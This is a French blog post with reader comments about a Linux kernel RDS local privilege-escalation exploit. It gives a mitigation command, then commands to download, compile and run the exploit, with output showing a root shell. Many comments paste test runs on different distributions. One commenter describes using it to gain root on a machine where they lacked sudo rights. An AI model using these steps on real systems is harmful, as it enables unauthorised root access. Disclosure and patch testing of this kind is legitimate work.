Local Root Exploit : Linux RDS Protocol Privilege Escalation
Une nouvelle faille de sécurité vient d'être découverte dans le noyau Linux et plus particulièrement dans le protocole Reliable Datagram Sockets (RDS). L'exploit permet ainsi à un simple utilisateur de passer root sur une machine. La vulnérabilité affecte les distributions Linux basées sur les versions 2.6.30 à 2.6.36-rc8 du kernel.
Pour contrer cette attaque, vous pouvez soit mettre à jour son système, soit désactiver le module RDS à l'aide de cette commande :
echo "alias net-pf-21 off" > /etc/modprobe.d/disable-rds
Voici un exemple d'utilisation de l'exploit :
wget www.tux-planet.fr/public/hack/exploits/kernel/linux-rds-exploit.c
gcc -o linux-rds-exploit linux-rds-exploit.c
Ensuite, on exécutera ce dernier comme ceci :
$ ./linux-rds-exploit
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved rds_proto_ops to 0xf7d2e518
[+] Resolved rds_ioctl to 0xf7d29000
[+] Resolved commit_creds to 0xc0450a6f
[+] Resolved prepare_kernel_cred to 0xc045097a
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...
[*] Got root!sh-4.1# id
uid=0(root) gid=0(root) groups=0(root)
J'ai constaté que l'exploit fonctionne à merveille sur une Fedora 13 (noyau 2.6.34.7-56) et Ubuntu 10.10 (noyau 2.6.35-22-generic-pae). En revanche, il ne marche pas sur Red Hat et CentOS, le noyau étant actuellement en version 2.6.18.
Sinon, une fois n'est pas coutume, c'est encore Linus Torvalds qui a pris le problème en charge et a proposé un correctif très rapidement.
30 Commentaires pour "Local Root Exploit : Linux RDS Protocol Privilege Escalation"
Flux des commentaires de cet article Ajouter un commentaireSur une ubuntu 10.04:
arny@edison:/tmp$ ./linux-rds-exploit
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved rds_proto_ops to 0xfd4cd9c0
[+] Resolved rds_ioctl to 0xfd4c7090
[+] Resolved commit_creds to 0xc016dfe0
[+] Resolved prepare_kernel_cred to 0xc016e320
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...
[*] Exploit failed to get root.
Linux edison 2.6.32-25-generic #45-Ubuntu SMP Sat Oct 16 19:48:22 UTC 2010 i686 GNU/Linux
kane@machine:/tmp$ wget http://www.tux-planet.fr/public/hack/exploits/kernel/linux-rds-exploit.c
kane@machine:/tmp$ nano linux-rds-exploit.c
kane@machine:/tmp$ gcc -o linux-rds-exploit linux-rds-exploit.c
kane@machine:/tmp$ ./linux-rds-exploit
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved rds_proto_ops to 0xffffffffa05ba900
[+] Resolved rds_ioctl to 0xffffffffa05b3000
[+] Resolved commit_creds to 0xffffffff810863b0
[+] Resolved prepare_kernel_cred to 0xffffffff81086880
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...
[*] Exploit failed to get root.
kane@machine:/tmp$ uname -a
Linux machine 2.6.35-22-generic #35-Ubuntu SMP Sat Oct 16 20:45:36 UTC 2010 x86_64 GNU/Linux
Kubuntu desktop 64bits 10.04 updaté en 10.10
Comment dire… FAIL !
Donc la faille est exploitable seulement avec un accès physique à la machine, pas en remote ?
Sur une debian squeeze 2.6.32-5-amd64
./linux-rds-exploit
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved rds_ioctl to 0xffffffffa04e9000
[+] Resolved commit_creds to 0xffffffff81069235
[+] Resolved prepare_kernel_cred to 0xffffffff81069138
[*] Failed to resolve kernel symbols.
Résultat => Fail !
Oui faudrait préciser que cette faille n'est pas exploitable à distance.
C'est ce que signifie "local" dans Local Root Exploit
Sur une ubuntu 10.10 à jour
richard@richard-desktop:~/Bureau$ ./linux-rds-exploit
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved rds_proto_ops to 0xffffffffa0384900
[+] Resolved rds_ioctl to 0xffffffffa037d000
[+] Resolved commit_creds to 0xffffffff810863b0
[+] Resolved prepare_kernel_cred to 0xffffffff81086880
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...
[*] Exploit failed to get root.
richard@richard-desktop:~/Bureau$ uname -r
2.6.35-22-generic
Ne fonctionne pas sous Arch
Linux desktop 2.6.35-ARCH
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Could not open socket.
sur une Debian avec kernel issu d'un package 2.6.30-2-686-bigmem
@wido : ça dépend de ta version de kernel.
actuellement c'est la: 2.6.35.7-1
$ /home/wido/exploit
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved rds_ioctl to 0xffffffffa049c000
[+] Resolved commit_creds to 0xffffffff81078030
[+] Resolved prepare_kernel_cred to 0xffffffff81078470
[*] Failed to resolve kernel symbols.
En effet.
Call trans opt: received. 22-10-10 21:39:16 REC:sam/Veridian ~
-> ./linux-rds-exploit
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved rds_ioctl to 0xf81b7000
[+] Resolved commit_creds to 0xc1065030
[+] Resolved prepare_kernel_cred to 0xc10653d0
[*] Failed to resolve kernel symbols.
Call trans opt: received. 22-10-10 21:39:23 REC:sam/Veridian ~
-> uname -r
2.6.35-ARCH
Je viens de mettre à jour mon Ubuntu, la version de mon kernel n'a pas changé, mais maintenant j'obtiens le message suivant : "Exploit failed to get root".
Donc pour résumer, l'exploit marche uniquement sous Fedora 13 et Ubuntu 10.10 (non mis à jour). Ce qui limite son champ d'action.
Sinon une astuce que j'utilise souvent pour tester les failles :
1- vous installez Virtualbox
2- vous téléchargez une ISO d'Ubutu
3- vous bootez dessus en mode livecd avec Virtualbox (sans faire de mise à jour)
Ensuite on peut tester l'exploit sans problème. Comme quoi les mise à jour c'est important.
Sinon, oui il s'agit d'un exploit uniquement en locale. D'où le nom anglais "Local Root exploit". Je crois que certaines personnes font allusion à ce que l'on a pu lire chez Korben il y a quelques jours. Je cite :
Je pense qu'il s'agit de la même faille, par contre, elle n'a rien avoir avec la pile TCP/IP du protocole IPv6 et n'est donc pas utilisable à distance. Un coup de bluff de la part des anonymous ... ?
Ne fonctionne pas sous Archlinux, reste à savoir si cela est causé par l'exploit qui serait mal codé ou si cela provient d'une customisation du kernel.
[nassim@BlueIcefield ~]$ ./linux-rds-exploit
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved rds_ioctl to 0xf8761000
[+] Resolved commit_creds to 0xc1065030
[+] Resolved prepare_kernel_cred to 0xc10653d0
[*] Failed to resolve kernel symbols.
[nassim@BlueIcefield ~]$ uname -r
2.6.35-ARCH
Donc en fait cet exploit local a déjà été patché sur un peu toutes les distrib… intéressant…
@pti-seb : Personnellement, sur mes machines je désactive l'IPv6 car le protocole IPv4 me suffit amplement pour le moment ^^
@kane : la faille a été divulguée il a deux jours. J'ai un peu de retard pour un fois et pas mal de distributions ont déjà patchée visiblement.
@pti-seb : Clairement… on est pas chez Microsoft ! XD
@pti-seb : Ah c'était donc ça l'update du kernel sur Ubuntu 10.10 (il y a 2 jours en gros)
Pas de soucis sous Gentoo non plus :
$ uname -r
2.6.36-gentoo
$ ./linux-rds-exploit
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Could not open socket.
$
@Droïde : T'es parti d'une stage 1, 2 ou 3 ?
@kane : stage3, mais c'est mon système courant (pas de VM comme la présenter pti-seb) donc à jour, et pour le noyau, il est avec les options dont j'ai besoin, rien de plus.
Effectivement, rien à craindre pour les Gentooistes et Funtooistes, je pense que le RDS est déactiver :
$ ./linux-rds-exploit.o
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Could not open socket.
$ uname -r
2.6.34-gentoo-r6
Bonjour !
le script prend bien le controle en tant que root sur une fedora 13.
Par contre, se qui fait un peu peur, c'est qu'après mise à jour et désactivation du module RDS le script arrive toujours à prendre la main en root !
salut
je plussoie turbo-gus... sur un ubuntu server 9.10 avec kernel 2.6.31-20, la faille fonctionne.
je désactive donc le module rds
> modprobe -r rds
je reteste.... ça fonctionne toujours !
donc la seule parade est de mettre à jour.
L'exploit fonctionne sur Fedora 14 x86_64
En même temps je ne m'inquiète pas, il faut déjà qu'un utilisateur malveillant arrive à se connecter sur ma machine (ce qui est sûrement l'étape la plus difficile).
Vu sur :
http://voxnucleus.fr/post/101106Faillelinux
Sympathique cette faille... Il faudra que je l'essaie !
Superbe !
J'étais coincé avec une machine récalcitrante. L'utilisateur auquel j'avais accès (en ssh) ne faisait pas parti des sudoers...
Et là, j'ai repensé à cet article que j'avais vu passer (merci la veille ^^)
Un grand merci Seb !!! Vraiment !!!
--EDIT
Et ensuite, j'ai mis la machine à jour
sh-3.2$ uname -a
Linux vm1347.cs14.seeweb.it 2.6.18-274.3.1.el5 #1 SMP Tue Sep 6 20:13:52 EDT 2011 x86_64 x86_64 x86_64 GNU/Linux
anyone have root exploit? pls